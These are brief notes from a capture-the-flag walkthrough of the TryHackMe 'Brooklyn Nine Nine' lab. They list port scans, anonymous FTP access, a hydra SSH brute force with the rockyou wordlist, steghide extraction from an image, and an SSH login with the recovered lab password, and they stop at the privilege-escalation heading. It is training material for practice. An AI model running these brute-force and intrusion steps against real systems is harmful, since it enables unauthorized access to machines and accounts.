[TryHackMe] Brooklyn Nine Nine

export machine="10.10.108.200"

rustscan -a $machine
nmap -sV -sC -T4 -p 22,21,80 $machine
nmap $machine

• Anonymous FTP access is allowed. => note_to_jake.txt

users.txt

Amy
Jake
Holts

SSH brute force

hydra -l jake -P /usr/share/wordlists/rockyou.txt $machine ssh 

pass.txt

987654321

Steganography

wget http://10.10.108.200/brooklyn99.jpg
steghide info brooklyn99.jpg
steghide extract -sf brooklyn99.jpg

passphrase : admin

pass.txt

987654321
fluffydog12@ninenine

Initial access

ssh jake@10.10.139.20
987654321

Privilege escalation